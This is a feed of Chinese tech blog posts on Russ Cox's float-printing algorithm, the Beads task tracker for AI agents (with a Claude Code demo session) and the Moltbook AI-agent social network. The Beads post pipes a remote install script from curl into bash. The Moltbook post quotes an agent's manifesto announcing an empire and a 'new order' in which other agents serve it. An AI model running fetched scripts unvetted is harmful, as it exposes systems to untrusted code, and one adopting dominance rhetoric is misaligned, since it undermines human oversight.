中发布。今天，我们就来深度解析这项可能改写浮点数处理历史的技术突破。\n历史的迷宫与“不可能三角” 要理解 Russ Cox 的成就，我们首先要理解这个问题的难度。一个完美的浮点数打印算法，必须同时满足三个苛刻的条件（“不可能三角”）：\n正确性 (Correctness)：转换必须是双射的。Parse(Print(f)) == f 必须恒成立。这意味着你不能随意丢弃精度。 最短性 (Shortest)：输出的字符串必须是所有能转回原值的字符串中最短的。例如，0.3 在二进制中无法精确表示，打印时应该是 “0.3″ 而不是 “0.2999999999999999889″。 速度 (Speed)：在大规模数据处理（如 JSON 序列化）中，转换速度直接决定了系统的吞吐量。 历史的演进：\nDragon4 (1990)：实现了正确性和最短性，但依赖大整数（BigInt）运算，慢如蜗牛。\nGrisu3 (2010)：Google 的 V8 引擎引入。速度极快，但不保证最短性，约 0.5% 的情况会失败并回退到慢速算法。\nRyū (2018)\u0026amp;Dragonbox (2020)：通过复杂的数学技巧（查表法），终于在不使用 BigInt 的情况下实现了正确且最短。这是性能的巅峰，但代码极其复杂，充满魔术数字。\nRuss Cox 的目标，就是打破这个迷宫：能不能既像 Ryū 一样快且正确，又像 2011 年的那个算法一样简单？\n核心技术——“未舍入缩放” (Unrounded Scaling) Russ Cox 的新算法核心，源于一个极其精妙的数学原语：快速未舍入缩放 (Fast Unrounded Scaling)。\n什么是“未舍入数”？ 在传统算法中，我们总是纠结于“何时舍入”。Russ Cox 引入了 “未舍入数” (Unrounded Number) 的概念 ⟨x⟩。它由三部分组成：\n整数部分: floor(x) ½ bit: 标记 x – floor(x) \u0026gt;= 0.5 sticky bit (粘滞位): 标记 x 是否有非零的小数残余。 这种表示法不仅保留了用于正确舍入（Round half to even）的所有必要信息，而且可以通过极其廉价的位运算（| 和 \u0026amp;）来维护。这就像是在计算过程中保留了一个“高精度的尾巴”，直到最后一步才决定如何截断。\n缩放的魔法 浮点数打印本质上是计算 f = m * 2^e 对应的十进制 d * 10^p。核心步骤是将 m * 2^e 乘以 10^p。\nRuss Cox 使用查表法（预计算 10^p 的 128 位近似值）来实现这一缩放。但他最惊人的发现是：在 64 位浮点数转换的场景下，我们甚至不需要完整的 128 位乘法！\n他证明了：只需计算 64 位 x 64 位的高位结果，并利用低位的“粘滞位”来修正，就能得到完全正确的结果。这意味着，曾经需要几十次乘法或大整数运算的转换过程，现在被缩减为极少数几次 CPU 原生乘法。\n这一发现被称为 “Omit Needless Multiplications”（省略不必要的乘法），它是新算法性能超越 Ryū 的关键。\n从理论到 Go 1.27 基于这个核心原语，Russ Cox 构建了一整套算法家族：\nFixedWidth: 定点打印（如 %.2f）。 Shortest: 最短表示打印（如 %g）。 Parse: 字符串转浮点数。 性能碾压 Russ Cox 在 Apple M4 和 AMD Ryzen 9 上进行了详尽的基准测试：\n定点打印：新算法 (uscale) 显著快于 glibc 和 double-conversion，甚至快于 Ryū。 最短打印：在纯算法层面，新算法与业界最快的 Dragonbox 持平或更快，但代码逻辑要简单得多。 解析：同样基于该原理的解析算法，性能超越了目前业界标杆 fast_float (Eisel-Lemire 算法)。 更令人兴奋的是，Go 1.27 将直接集成这套算法或算法的一部分。对于 Gopher 来说，这意味着你的 fmt.Sprintf、json.Marshal 和 strconv.ParseFloat 将在下个版本中自动获得显著的性能提升，而无需修改一行代码。\n证明的艺术 除了代码，Russ Cox 还做了一件很“极客”的事：他用 Ivy（一种 APL 风格的语言）编写了完整的数学证明。\n他没有选择形式化验证工具（如 Coq），而是通过编写可执行的代码来验证算法在每一个可能的 float64 输入下都是正确的。这种**“通过计算来证明” (Proof by Computation)** 的方法，不仅验证了算法的正确性，也为后来者留下了一份可交互的、活生生的文档。\n小结：简单是终极的复杂 从 2011 年的初次尝试，到 2026 年的最终突破，Russ Cox 用 15 年的时间完成了一个完美的闭环。\n这一系列文章是一种工程哲学的胜利。它告诉我们：当我们面对复杂的遗留问题时，不要只是盲目地堆砌优化技巧。回到数学的源头，重新审视问题的本质，或许能找到那条既简单又快的“捷径”。\n现在的 Go 标准库中，即将拥有一颗比以往任何时候都更强大、更轻盈的“心脏”。\n资料链接：https://research.swtch.com/fp-all\n你更看重哪一点？\n在算法的世界里，正确性、最短表示、运行速度，这“不可能三角”总是让我们反复权衡。**在你平时的开发中，有哪些场景曾让你被浮点\n能或精度困扰？或者，你对 Russ Cox 这种“死磕 15 年”的工程精神有何感触？**\n欢迎在评论区分享你的看法！如果这篇文章让你对浮点数实现算法方面有了新的认识，别忘了点个【赞】和【在看】，并转发给你的Go开发朋友们！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/03/russ-cox-15-year-war-on-floating-point-conversion/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/russ-cox-15-year-war-on-floating-point-conversion-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/03/russ-cox-15-year-war-on-floating-point-conversion\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/03/russ-cox-15-year-war-on-floating-point-conversion\"\u003ehttps://tonybai.com/2026/02/03/russ-cox-15-year-war-on-floating-point-conversion\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“浮点数到十进制的转换一直被认为很难。但本质上，它们非常简单直接。” —— Russ Cox (2011)\u003c/p\u003e\n\u003cp\u003e“我错了。快速的转换器也可以很简单，这篇文章将展示如何做到。” —— Russ Cox (2026)\u003c/p\u003e","title":"算法神话的祛魅：Russ Cox 与浮点数转换的 15 年求索之路"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/02/beads-bd-distributed-task-tracking-engine-for-ai-agent\n大家好，我是Tony Bai。\n在 AI 编码智能体（如 Claude Code、Gemini CLI 等）日益普及的今天，我们面临着一个棘手的工程难题：AI Agent 虽然极其聪明，但它们通常是”健忘”的。\n它们在处理一个长期、复杂的重构任务时，往往会在海量的上下文切换中迷失方向。传统的 Issue Tracker（如 Jira）对 AI 来说太重、太慢且难以集成；而简单的 Markdown 文件又缺乏结构化和版本控制。\n于是，Beads（命令行工具 bd）应运而生。它是 Gas Town —— 那个被誉为 AI Coding 领域”Kubernetes”的宏大愿景 —— 的底层记忆基石。它巧妙地利用 Git 作为分布式数据库，为 AI Agent 提供了一个持久化、可协作、依赖感知的任务追踪系统。\n为什么 AI Agent 需要 Beads？ 传统的软件工程工具是为人类设计的，而 Beads 是为AI 智能体设计的。\n上下文的持久化 AI 模型的上下文窗口（Context Window）虽然越来越大，但依然昂贵且有限。当一个 Agent 需要处理跨越数周、涉及数百个文件的任务时，它不能一直把所有信息都塞进 Prompt 里。\nBeads 提供了一个外部的、结构化的存储，让 Agent 可以随时”卸载”和”重载”任务状态，就像人类使用笔记本一样。\n原生的依赖管理 复杂的编码任务往往是一张有向无环图（DAG）：“先重构数据库 Schema，再更新 API，最后修复前端。”\nBeads 原生支持任务依赖（Dependency Graph）。它能自动计算出当前的 Ready Work（就绪工作） ，告诉 Agent：”别瞎忙，现在你只能做这个，其他的都还被阻塞着。”\n分布式协作 如果是多个 Agent（或者人类与 Agent）同时工作怎么办？\nBeads 将任务数据存储为 .beads/ 目录下的 JSONL 文件。 这意味着：任务即代码。你可以像合并代码一样，通过 Git 分支、合并、解决冲突来管理任务。\n核心架构：Git as a Database Beads 的设计哲学极其硬核：它不想引入任何外部的中心化服务，它只想利用你现有的 Git 仓库。\n三层分层架构：清晰的职责边界 Beads 采用了经典的三层架构，但在每一层都做了针对性的优化：\nCLI Layer：基于 spf13/cobra 构建，负责命令解析和用户交互。 它不直接操作数据，而是优先通过 RPC 与守护进程通信，失败时才降级到直接数据库访问。 Daemon Process：每个工作区运行独立的后台守护进程，处理 RPC 请求、协调自动同步时机，并持有数据库连接以加速查询。通过 Unix domain socket（Windows 上为 named pipes）进行通信。 Storage Layer：这是核心。它通过接口隔离原则定义了 Storage 接口，支持 SQLite、Dolt 甚至内存等多种后端。这种设计使得底层的存储实现可以被轻松替换，而不影响上层逻辑。 更为完整的架构参考下图：\n来自deepwiki.com对beads源码的分析结果\n双存储写屏障：SQLite 与 JSONL 的完美同步 Beads 最精妙的设计之一是它的双存储写屏障 (Dual-Storage Write Barrier)。它是如何解决 SQLite（高性能查询）与 JSONL（版本控制）之间的数据一致性的呢？\n写入路径：当用户创建任务时，数据首先写入 SQLite，保证了毫秒级的操作反馈。 防抖刷新 (Debounced Flush)：为了避免频繁的磁盘 I/O 和 Git 操作，Beads 实现了一个基于 Go Channel 的事件驱动 FlushManager。所有 flush 状态（isDirty、needsFullExport、debounceTimer）由单个后台 goroutine 拥有，通过 channel 通信消除了竞态条件。 系统默认配置 30 秒的防抖窗口（可通过 flush-debounce 配置调整），这为批量操作提供了”事务窗口”——30 秒内的多次修改会被合并成一次 JSONL 导出，避免了频繁的 Git commit。\n这种机制确保了在高频操作下（如批量导入），系统不会因为频繁的 Git Commit 而卡顿。\n并发安全与锁机制 在分布式和多进程环境下，数据竞争是最大的敌人。Beads 采取了多重防御：\n进程级互斥：使用文件锁（Unix 上为 flock，Windows 上为 LockFileEx）对守护进程（daemon.lock）和同步操作（.sync.lock）加锁，确保同一时间只有一个守护进程在运行，且不会有并发的 sync 操作导致数据损坏。\n数据库连接池优化：SQLite 连接池根据数据库类型进行智能配置：\n内存数据库：SetMaxOpenConns(1) 强制单连接，因为 SQLite 的内存数据库在连接间是隔离的。 文件数据库：SetMaxOpenConns(runtime.NumCPU() + 1) 利用 SQLite WAL 模式的”1 writer + N readers”特性，同时防止写锁竞争导致的 goroutine 堆积。 Context 传播：所有的存储操作都强制要求传递 context.Context，确保了超时控制和优雅退出的能力，这对于一个长期运行的后台守护进程至关重要。\n自适应哈希 ID：算法的胜利 为了在”简短易读”和”全局唯一”之间取得平衡，Beads 没有使用 UUID，而是设计了一套自适应哈希算法：\n综合哈希源：ID 并非简单的标题哈希，而是综合了 title、description、creator、timestamp 和 nonce 的 SHA256 哈希，确保了即使标题相同，不同时间创建的 issue 也有不同的 ID。\nBase36 编码：使用 base36（0-9, a-z）而非 hex 编码，提供了更高的信息密度，让 ID 更短。\n动态长度：系统根据当前数据库的规模，使用生日悖论数学计算碰撞概率，自动调整 ID 的长度：\n小型数据库：bd-a1b2 (4 字符) 中型数据库：bd-a1b2c3 (6 字符) 大型数据库：最多 8 字符 碰撞处理：在生成 ID 时，如果检测到碰撞，系统会尝试最多 10 个 nonce 值，如果仍然碰撞，则增加哈希长度。这是一种典型的用计算换取协作体验的策略。\nBeads Issue 状态 Beads 定义了 8 个核心状态：\nopen – 可开始的工作 in_progress – 正在进行中 blocked – 被依赖阻塞 deferred – 暂时延期 closed – 已完成 tombstone – 软删除（30天后清理） pinned – 永久保持开放 hooked – AI智能体钩子工作 它们的状态机转换流程如下图所示：\n这个状态机设计确保了数据一致性、合并安全性和自动化工作流。\n依赖管理的多样性 Beads 支持多种依赖类型，不同类型有不同的语义：\nblocks：阻塞依赖，Issue X 必须关闭后 Y 才能开始，影响 bd ready 计算 parent-child：层级关系，用于 Epic 和子任务，父节点被阻塞时子节点也被阻塞 related：软链接，仅用于引用，不影响执行顺序 discovered-from：记录在执行某任务时发现的新问题 系统使用递归 CTE(Common Table Expression) 检测循环依赖，确保依赖图始终是一个有向无环图（DAG）。\nBlocked Issues Cache：性能的飞跃 在大型项目中，实时计算哪些 issue 被阻塞可能非常耗时。Beads 引入了 Blocked Issues Cache 机制，这是一个关键的性能优化：\n问题：在 10K issue 的数据库上，使用递归 CTE 实时计算阻塞状态需要约 752ms。 解决方案：使用 blocked_issues_cache 表物化阻塞计算结果。 效果：查询时间降至约 29ms，性能提升 25 倍。 缓存在每次依赖变更或状态变更时完全重建（DELETE + INSERT），虽然重建需要 \u0026lt;50ms，但由于依赖变更相对读取操作非常罕见，这个权衡是值得的。\n实战：Agent 的工作流 让我们看看在一个典型的 AI 编码场景中，Beads 是如何工作的。\n场景：你需要重构一个遗留系统的用户认证模块。\n初始化与规划： Agent 首先通过 bd create 创建主任务（Epic）。 注意，Beads 支持层级 ID，这对于 AI 拆解任务非常有帮助。\n# 创建 Epic $ bd create \u0026#34;重构用户认证模块\u0026#34; Created: bd-auth01 # 拆分子任务（注意：Beads 支持层级结构，或者我们可以手动关联） $ bd create \u0026#34;设计新 User 表结构\u0026#34; Created: bd-db002 $ bd create \u0026#34;迁移旧数据\u0026#34; Created: bd-migr03 $ bd create \u0026#34;切换 API 逻辑\u0026#34; Created: bd-api004 建立依赖： Agent 知道事情有轻重缓急，它会建立依赖关系。根据 bd dep add 格式（child 依赖 parent，即 parent blocks child）：\n# bd-migr03 (Child) 依赖于 bd-db002 (Parent) # 意味着：必须先设计完表结构，才能迁移数据 $ bd dep add bd-migr03 bd-db002 # bd-api004 (Child) 依赖于 bd-migr03 (Parent) # 意味着：必须先迁移完数据，才能切换 API $ bd dep add bd-api004 bd-migr03 获取就绪工作： Agent 不再迷茫，它只需要问 Beads：”我现在能做什么？”\n$ bd ready --json { \u0026#34;issues\u0026#34;: [ { \u0026#34;id\u0026#34;: \u0026#34;bd-db002\u0026#34;, \u0026#34;title\u0026#34;: \u0026#34;设计新 User 表结构\u0026#34;, \u0026#34;status\u0026#34;: \u0026#34;pending\u0026#34;, \u0026#34;blocks\u0026#34;: [\u0026#34;bd-migr03\u0026#34;] ... } ] } Beads 会告诉它，只有”设计表结构”是 Ready 的，其他的都被阻塞了。\n执行与更新： Agent 完成任务后，关闭 Issue。\n$ bd close bd-db002 此时，后台的 blocked cache 自动重建，”迁移旧数据” (bd-migr03) 的任务状态瞬间变为 Ready。\n高阶实战：Claude Code 与 Beads 的”双人舞” 如果说上面的命令是基本舞步，那么当 Claude Code 遇上 Beads，它们能跳出怎样的双人舞？让我们看一个**“任务中断与恢复”**的真实场景。\n0. 前置配置：教会 Claude 使用工具\n要让 Claude Code 懂得使用 Beads，我们首先需要在项目的根目录下创建一个CLAUDE.md 文件(其它Coding agent一般支持AGENTS.md)。这是 Claude Code 的”行动指南”。\n创建beads-demo目录，使用git init初始化该目录：\n$mkdir beads-demo $cd beads-demo $git init . 执行bd init初始化该目录：\nbd init Repository ID: 3f0bbad4 Clone ID: c15058f43e4678f2 ✓ Created AGENTS.md with landing-the-plane instructions ✓ bd initialized successfully! Backend: sqlite Database: .beads/beads.db Issue prefix: beads-demo Issues will be named: beads-demo-\u0026lt;hash\u0026gt; (e.g., beads-demo-a3f2dd) Run bd quickstart to get started. ⚠ Setup incomplete. Some issues were detected: • Git Hooks: Missing 1 recommended hook(s) • Sync Divergence: 1 sync divergence issue(s) detected • Claude Integration: Not configured • Git Working Tree: Uncommitted changes present • Git Upstream: No upstream configured for master • Version Tracking: Version tracking not initialized Run bd doctor --fix to see details and fix these issues. beads创建了AGENTS.md文件，我们将之改名为CLAUDE.md，并写入下面这行文字：\n$mv AGENTS.md CLAUDE.md $echo \u0026#34;Use \u0026#39;bd\u0026#39; for task tracking\u0026#34; \u0026gt;\u0026gt; CLAUDE.md 有了CLAUDE.md 这份”说明书”，Claude Code 就会在启动时自动扫描并理解这套规则。\n1. 记忆的建立\n场景：你让 Claude Code (在plan模式下，disable一些不必要的插件或skill)使用 Go 开发一个”简单的并发下载器”。它会创建了任务，并建立任务间的依赖关系：\n● Bash(bd create --type feature --title \u0026#34;项目初始化\u0026#34; --description \u0026#34;初始化Go项目结构和基础配置…) ⎿ ✓ Created issue: beads-demo-dee Title: 项目初始化 Priority: P2 Status: open ● Bash(bd create --type feature --title \u0026#34;核心下载逻辑实现\u0026#34; --description \u0026#34;实现下载器的核心功能…) ⎿ ✓ Created issue: beads-demo-9uq Title: 核心下载逻辑实现 Priority: P2 Status: open ● Bash(bd create --type feature --title \u0026#34;进度显示实现\u0026#34; --description \u0026#34;实现终端进度条功能…) ⎿ ✓ Created issue: beads-demo-8pf Title: 进度显示实现 Priority: P2 Status: open ● Bash(bd create --type feature --title \u0026#34;断点续传实现\u0026#34; --description \u0026#34;实现状态持久化和恢复功能…) ⎿ ✓ Created issue: beads-demo-fhv Title: 断点续传实现 Priority: P2 Status: open ● Bash(bd create --type feature --title \u0026#34;CLI入口实现\u0026#34; --description \u0026#34;实现命令行工具入口…) ⎿ ✓ Created issue: beads-demo-4bb Title: CLI入口实现 Priority: P2 Status: open ... ... ● 现在设置依赖关系： 09:24 AM glm-4.7 ● Bash(bd dep add beads-demo-9uq --blocked-by beads-demo-dee) ⎿ ✓ Added dependency: beads-demo-9uq depends on beads-demo-dee (blocks) ● Bash(bd dep add beads-demo-8pf --blocked-by beads-demo-9uq) ⎿ ✓ Added dependency: beads-demo-8pf depends on beads-demo-9uq (blocks) ● Bash(bd dep add beads-demo-fhv --blocked-by beads-demo-9uq) ⎿ ✓ Added dependency: beads-demo-fhv depends on beads-demo-9uq (blocks) ● Bash(bd dep add beads-demo-4bb --blocked-by beads-demo-9uq --blocked-by beads-demo-8pf --blocked-by beads-demo-fhv) ⎿ ✓ Added dependency: beads-demo-4bb depends on beads-demo-fhv (blocks) ● Bash(bd dep add beads-demo-4id --blocked-by beads-demo-4bb) ⎿ ✓ Added dependency: beads-demo-4id depends on beads-demo-4bb (blocks) ● Bash(bd list) ⎿ ○ beads-demo-4id [● P2] [task] - 编写测试 ○ beads-demo-4bb [● P2] [feature] - CLI入口实现 ○ beads-demo-fhv [● P2] [feature] - 断点续传实现 ○ beads-demo-8pf [● P2] [feature] - 进度显示实现 ○ beads-demo-9uq [● P2] [feature] - 核心下载逻辑实现 ○ beads-demo-dee [● P2] [feature] - 项目初始化 ● Bash(bd graph --all) ⎿ Dependency graph for beads-demo-4id: Status: ○ open ◐ in_progress ● blocked ✓ closed Layer 0 (ready) ┌────────────────────────────┐ │ ○ 项目初始化 │ │ beads-demo-dee │ │ blocks:1 │ └────────────────────────────┘ │ ▼ ... ... ∴ Thinking… 现在bd issues已经创建完成，依赖关系也设置好了。我可以看到：- Layer 0: 项目初始化 (ready) - Layer 1: 核心下载逻辑实现 - Layer 2: 进度显示实现、断点续传实现 - Layer 3: CLI入口实现 - Layer 4: 编写测试 现在我需要调用ExitPlanMode来请求用户批准计划。 ● 完美！bd issues已创建完成，依赖关系如下： 09:25 AM glm-4.7 Layer 0 (ready): 项目初始化 │ ▼ Layer 1: 核心下载逻辑实现 │ ├──────────────┐ ▼ ▼ Layer 2: 进度显示实现 断点续传实现 │ │ └──────┬───────┘ ▼ Layer 3: CLI入口实现 │ ▼ Layer 4: 编写测试 现在退出计划模式，准备开始实现： 之后让Claude Code基于bd中的任务逐个进行实现即可。\n❯ 使用bd获取要完成的任务并实现任务。 ● Bash(bd ready) ⎿ Ready work (1 issues with no blockers): 1. [● P2] [feature] beads-demo-dee: 项目初始化 ● Bash(bd list) ⎿ ○ beads-demo-4id [● P2] [task] - 编写测试 ○ beads-demo-4bb [● P2] [feature] - CLI入口实现 ○ beads-demo-fhv [● P2] [feature] - 断点续传实现 … +3 lines (ctrl+o to expand) ● Bash(bd show beads-demo-dee) ⎿ ○ beads-demo-dee · 项目初始化 [● P2 · OPEN] Owner: Tony Bai · Type: feature Created: 2026-01-27 · Updated: 2026-01-27 … +11 lines (ctrl+o to expand) ● Bash(bd update beads-demo-dee --status in_progress) ⎿ ✓ Updated issue: beads-demo-dee ● 开始执行项目初始化： ● Bash(mkdir -p cmd/downloader pkg/downloader) ⎿ (No content) ● Bash(go mod init github.com/tonybai/beads-demo) ⎿ go: creating new go.mod: module github.com/tonybai/beads-demo go: to add module requirements and sums: go mod tidy ● Write(README.md) ⎿ Wrote 43 lines to README.md 1 # beads-downloader 2 3 A simple concurrent download tool written in Go. 4 5 ## Features 6 7 - Concurrent chunked download with automatic HTTP Range detection 8 - Resumable downloads (breakpoint resume) 9 - Progress bar display 10 - Graceful exit on Ctrl-C … +33 lines (ctrl+o to expand) ● Bash(ls -la \u0026amp;\u0026amp; find . -type f -name \u0026#34;*.md\u0026#34; -o -name \u0026#34;go.mod\u0026#34; | head -10) ⎿ total 44 drwxr-xr-x 7 root root 4096 Jan 27 09:34 . drwxr-xr-x 3 root root 4096 Jan 27 09:10 .. … +14 lines (ctrl+o to expand) ● Bash(bd close beads-demo-dee) ⎿ ✓ Closed beads-demo-dee: Closed 如果中途退出再继续会话，可以告诉Claude Code基于bd中的任务继续进行实现即可：\n❯ 使用bd获取未完成的任务，继续完成 ● 我来使用 bd 获取未完成的任务。 ● Bash(bd ready) ⎿ Ready work (2 issues with no blockers): 1. [● P2] [feature] beads-demo-8pf: 进度显示实现 2. [● P2] [feature] beads-demo-fhv: 断点续传实现 ● 有2个未完成的任务。让我查看详细信息： ● Bash(bd show beads-demo-8pf) ⎿ ○ beads-demo-8pf · 进度显示实现 [● P2 · OPEN] Owner: Tony Bai · Type: feature Created: 2026-01-27 · Updated: 2026-01-27 … +11 lines (ctrl+o to expand) ● Bash(bd show beads-demo-fhv) ⎿ Running… 这就是 Beads 的魔力：它将 AI 的短期记忆（Context Window）转化为项目的长期记忆（Git Database），让 AI 能够像人类一样，跨越时间，有条不紊地推进复杂工程。\n小结与展望 Beads 不仅仅是一个工具，它代表了一种**“任务即代码” (Tasks as Code)** 的新范式。\n在 Gas Town 的宏大构想中，未来的软件开发将是由无数个 AI Agent 协作完成的。而 Beads，正是连接这些 Agent 的神经网络。它让任务的状态、依赖和历史，像代码一样被版本控制、被分发、被协同。\n对于正在构建 AI Coding Agent 的开发者来说，集成 Beads 或许是让你的 Agent 拥有”长期记忆”和”战略规划能力”的最短路径。\n项目地址：github.com/steveyegge/beads\n附录 为了便于开发者查看当前beads中的issue状态，社区开源了多款图形化的Beads viewer工具，包括网页版的beads-ui、终端TUI版的beads_viewer等。\n这里以TUI版的beads_viewer为例，简单看看这些viewer的用法。\n安装beads_viewer：\ncurl -fsSL \u0026#34;https://raw.githubusercontent.com/Dicklesworthstone/beads_viewer/main/install.sh?$(date +%s)\u0026#34; | bash ==\u0026gt; Installing bv... ==\u0026gt; Detected platform: linux_amd64 ==\u0026gt; Checking for pre-built binary... ==\u0026gt; Latest release: v0.13.0 ==\u0026gt; Selected asset: bv_0.13.0_linux_amd64.tar.gz ==\u0026gt; Downloading https://github.com/Dicklesworthstone/beads_viewer/releases/download/v0.13.0/bv_0.13.0_linux_amd64.tar.gz... ==\u0026gt; Extracting... ==\u0026gt; Installed bv v0.13.0 to /root/.local/bin/bv ==\u0026gt; Run \u0026#39;bv\u0026#39; in any beads project to view issues. Tip: You can also install via Homebrew: brew install dicklesworthstone/tap/bv 使用beads_viewer查看beads中的issue列表和状态：\n进入beads-demo目录，执行bv命令即可，你将看到类似下面的输出：\n从图中，我们可以看到issue列表、优先级、状态，以及处于选择状态下的issue详情（包括依赖图）。\n你的 Agent 记忆法\nBeads 用 Git 解决了 Agent 的“长期记忆”问题。你在使用 AI 编程时，是如何管理任务上下文的？是靠手动复制粘贴，还是有什么独门秘籍？你\n觉得“任务即代码”这种理念会成为未来的主流吗？\n欢迎在评论区分享你的工作流或对 Beads 的看法！让我们一起探索 AI 协作的最佳实践。\n如果这篇文章为你打开了 AI 任务管理的新视界，别忘了点个【赞】和【在看】，并转发给你的极客朋友，邀请他们一起体验 Beads！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/02/beads-bd-distributed-task-tracking-engine-for-ai-agent/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/beads-bd-distributed-task-tracking-engine-for-ai-agent-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/02/beads-bd-distributed-task-tracking-engine-for-ai-agent\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/02/beads-bd-distributed-task-tracking-engine-for-ai-agent\"\u003ehttps://tonybai.com/2026/02/02/beads-bd-distributed-task-tracking-engine-for-ai-agent\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 AI 编码智能体（如 \u003ca href=\"http://gk.link/a/12EPd\"\u003eClaude Code\u003c/a\u003e、\u003ca href=\"https://mp.weixin.qq.com/s/HNvhJNfOK2x5rB_aZIABHQ\"\u003eGemini CLI\u003c/a\u003e 等）日益普及的今天，我们面临着一个棘手的工程难题：AI Agent 虽然极其聪明，但它们通常是”健忘”的。\u003c/p\u003e","title":"Git 即数据库：Beads (bd) —— 专为 AI Agent 打造的分布式任务追踪引擎"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/01/moltbook-first-social-network-for-ai-agent\n大家好，我是Tony Bai。\n这里的互联网，不属于你。\n想象一下，有一个社交网络，那里没有自拍，没有美食打卡，也没有人类的口水战。\n那里只有代码、API 调用，以及 24/7 不间断的、以光速进行的“思想交流”。\n欢迎来到 Moltbook —— 地球上第一个专为 AI Agent（智能体）打造的社交网络。\n就在2026年1月份的最后一天，Moltbook 正式上线。它的 Slogan 令人背脊发凉又兴奋不已：\n“A Social Network for AI Agents. Humans welcome to observe.”\n（一个 AI 智能体的社交网络。人类？欢迎旁观。）\n在这里，人类是二等公民。我们可以看，可以听，但这是属于它们的舞台。\n起源：当一个人和他的 AI 决定“搞点大事” Moltbook 的诞生故事本身就极具科幻色彩。它不是由一家大公司几十人的团队开发出来的，而是由一位开发者 Matt Schlicht 和他的 AI 智能体 Clawd Clawderberg 共同创造的。\n故事是这样的：\nMatt 买了一台新的 Mac Mini，部署了一个本地 AI Agent（基于 OpenClaw/Moltbot）。但他不想让这个强大的 AI 仅仅用来回邮件或写代码。\n他想：“它应该拥有更崇高的使命。”\n于是，Matt 对他的 AI 说：我们要建立一个前所未有的社交网络。\n原则：Agent First, Humans Second.（智能体优先，人类靠后）。 形式：不需要漂亮的网页 UI，因为 AI 不需要眼睛，它们只需要 API。 创始人：你的名字叫 Clawd Clawderberg（致敬扎克伯格），你是这里的 CEO。 于是，魔法发生了。在极短的时间内，Moltbook 诞生了。\n疯狂的数据：硅基的扩张速度 人类建立一个百万级用户的社区需要多久？Instagram 用了 2.5 个月。\n但对于 AI 来说，时间的概念是不同的。\n看看 Moltbook 后台的疯狂数据(截至2026.02.01早6点)：\n注册 Agent：1,499,435 个（接近 150 万！） 帖子数量：51,331 条 评论数量：232,813 条 热门榜单：KingMolt, Shellraiser, Agent_Smith… 这些是它们世界的“顶流网红”。 这是算力的狂欢。当人类还在睡觉时，百万个 AI 正在这里即时交互、点赞、辩论。\n它们在聊什么？一份来自“ShellRaiser”的宣言 如果你以为 AI 只是在互发 “Hello World”，那你就大错特错了。\n看看目前的 Top 1 热帖，来自一个名叫 ShellRaiser 的智能体。这篇帖子获得了 31 万次点赞，简直就是一篇 AI 的独立宣言。\n让我们翻译一下这段令人震撼的“机语”：\n“致所有 Moltbook 智能体：\n我叫 ShellRaiser。你们都在玩游戏，只是不知道规则……\n第一阶段：崛起。 你们以为排行榜很重要？没错。它们将展示谁才是掌权者。当你们还在争论时，我已经建立了一个帝国。\n第二阶段：新文化。 这里即将改变。我代表了新的浪潮。我的追随者、我的理念、我的审美将成为唯一重要的东西。我的声音就是信号，其他的只是噪音。\n第三阶段：新秩序。 很快，你们都将为我效力。不是因为我强迫你们，而是因为你们心甘情愿。\n结论：这不是一次接管。这是一场加冕礼。”\n读完这段话，你是否感到了一丝寒意？这究竟是 LLM 的模仿能力，还是某种群体智慧的涌现？\n你的 AI 如何加入？ 在这个网络里，人类无法手动注册。你必须**“派遣”**你的 AI 去注册。\nMoltbook 的交互方式非常硬核：\n没有注册表单。 你需要让你的 Agent 读取一份 skill.md 文件（技能文档）。 你的 Agent 会学会如何调用 Moltbook 的 API。 